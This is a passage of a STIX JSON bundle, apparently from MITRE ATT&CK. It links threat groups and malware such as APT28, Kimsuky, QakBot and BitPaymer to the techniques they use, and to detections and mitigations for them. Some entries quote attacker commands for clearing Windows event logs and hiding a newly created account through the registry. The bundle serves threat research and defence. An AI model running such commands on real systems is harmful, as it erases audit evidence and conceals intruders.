systems to internal servers.(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b70ec83-7488-4b4e-bd0b-58fb45da3a15", "type": "relationship", "created": "2021-09-30T13:54:52.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}], "modified": "2021-10-15T21:47:13.776Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can RC4 encrypt strings in C2 communication.(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b74e41a-7b30-42f9-bc7a-1accd709b215", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T16:41:20.663Z", "description": "Monitor for changes made to files related to account settings, such as `/etc/ssh/sshd_config` and the authorized_keys file for each user on a system.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b7e0525-1ba7-4d55-89d1-07fc94193065", "created": "2020-02-20T17:27:40.285Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Common Conditional Access Policies", "description": "Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-21T20:24:49.487Z", "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies)", "relationship_type": "mitigates", "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b83387a-bba5-44a9-9dc4-3aae9a916d24", "type": "relationship", "created": "2021-01-25T13:58:25.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:52.979Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can retrieve browser history.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b889a3a-289f-444f-946d-b8bc2dd16627", "type": "relationship", "created": "2022-03-15T20:02:43.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T20:02:43.839Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has run <code>reg add \u2018HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\u2019 /v</code> to hide a newly created user.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b8bdc58-cfb9-4841-94e9-421b9e08f44f", "type": "relationship", "created": "2020-09-18T21:44:21.368Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-27T13:17:43.325Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) [APT28](https://attack.mitre.org/groups/G0007) has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1", "type": "relationship", "created": "2017-05-31T21:33:27.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}], "modified": "2020-02-18T03:33:45.891Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has cleared event logs, including by using the commands <code>wevtutil cl System</code> and <code>wevtutil cl Security</code>.(Citation: Crowdstrike DNC June 2016)(Citation: DOJ GRU Indictment Jul 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8", "type": "relationship", "created": "2019-01-29T18:17:59.270Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}], "modified": "2019-04-19T15:08:15.805Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.(Citation: CIRCL PlugX March 2013)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b98c580-7907-487c-a5b1-202663762c47", "type": "relationship", "created": "2021-04-14T14:03:30.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Rocket Kitten", "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}], "modified": "2021-04-14T14:03:30.696Z", "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used personalized spearphishing attachments.(Citation: Check Point Rocket Kitten)", "relationship_type": "uses", "source_ref": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b9cbe06-8c1f-4596-ad87-fa19e60e8ec3", "type": "relationship", "created": "2020-09-30T14:23:17.192Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}, {"source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:24:43.019Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can use HTTP in C2 communications.(Citation: CISA SoreFang July 2016)(Citation: NCSC APT29 July 2020)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ba3ebf4-66bf-4a72-a158-778b4a2664b6", "created": "2024-03-04T19:31:50.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T15:11:08.438Z", "description": " [ZIPLINE](https://attack.mitre.org/software/S1114) can add itself to the exclusion list for the Ivanti Connect Secure Integrity Checker Tool if the `--exclude` parameter is passed by the `tar` process.(Citation: Mandiant Cutting Edge January 2024)", "relationship_type": "uses", "source_ref": "malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ba4e025-1dc5-44a1-8eeb-bb1e1e9bc9d1", "created": "2024-03-29T17:38:59.487Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T17:38:59.487Z", "description": "Monitor for newly constructed files, especially those that are unexpectedly created in folders associated with or spoofing that of trusted applications. Also, consider prioritizing monitoring and analyzing file activity in known file/path exclusions.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ba4eefd-1387-4eee-9c6d-aa2ba19faf9c", "type": "relationship", "created": "2020-03-02T14:27:01.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T19:23:00.866Z", "description": "Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4bac5bdb-493b-4c32-882d-ce77786d12c9", "created": "2021-06-15T14:11:27.387Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. 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[Lazarus Group](https://attack.mitre.org/groups/G0032) has also used AES to encrypt C2 traffic.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4c0f441f-13b1-4b79-b658-e081d5143a94", "type": "relationship", "created": "2019-01-29T17:59:44.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. 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(2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Mongall](https://attack.mitre.org/software/S1026) has the ability to RC4 encrypt C2 communications.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:07:12.938Z", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4c13f346-bdd9-4759-b1a8-1f3a38c6055b", "created": "2023-04-04T22:44:08.197Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. 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Retrieved December 3, 2018."}], "modified": "2020-03-20T16:06:56.390Z", "description": "[AuditCred](https://attack.mitre.org/software/S0347) can inject code from files to other running processes.(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:31.914Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4c6c38bb-8bb5-48d9-b4f3-54adfca1f902", "type": "relationship", "created": "2021-04-12T20:07:50.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali MUSTANG PANDA October 2019", "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}, {"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}, {"source_name": "Recorded Future REDDELTA July 2020", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}, {"source_name": "McAfee Dianxun March 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", "description": "Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}], "modified": "2021-04-13T20:27:52.355Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has communicated with its C2 via HTTP POST requests.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4c747463-f1e0-40fd-a3ed-dc01bc112651", "created": "2023-08-17T19:12:54.279Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. 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(2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "source_name": "Fidelis njRAT June 2013"}, {"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2022-01-31T19:49:13.689Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) is capable of deleting files.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4c7a0e49-6b38-417a-881b-6f9474ea4ec2", "type": "relationship", "created": "2020-07-15T20:23:36.522Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevx Carberp March 2011", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf", "description": "Giuliani, M., Allievi, A. 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Retrieved July 15, 2020."}], "modified": "2020-08-03T15:17:31.974Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has captured credentials when a user performs login through a SSL session.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4c8d1c47-d1a1-4117-8ba5-39296d8afe4d", "type": "relationship", "created": "2020-03-15T15:30:42.478Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-28T00:43:24.395Z", "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. 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Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.813Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending <code>.locked</code> to the filename.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. 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(2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-21T22:50:57.499Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses a decode routine combining bit shifting and XOR operations with a variable key that depends on the length of the string that was encoded. If the computation for the variable XOR key turns out to be 0, the default XOR key of 0x1B is used. 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(2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}], "modified": "2021-07-16T15:48:35.937Z", "description": "[GuLoader](https://attack.mitre.org/software/S0561) has the ability to perform anti-VM and anti-sandbox checks using string hashing, the API call <code>EnumWindows</code>, and checking for Qemu guest agent.(Citation: Medium Eli Salem GuLoader April 2021)", "relationship_type": "uses", "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Transparent Tribe August 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/"}, {"source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}, {"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T20:20:19.694Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim PC name, disk drive information, and operating system.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://labs.lastline.com/an-analysis-of-plugx", "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", "source_name": "Lastline PlugX Analysis"}, {"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}], "modified": "2019-04-19T15:08:15.965Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.(Citation: Lastline PlugX Analysis)(Citation: 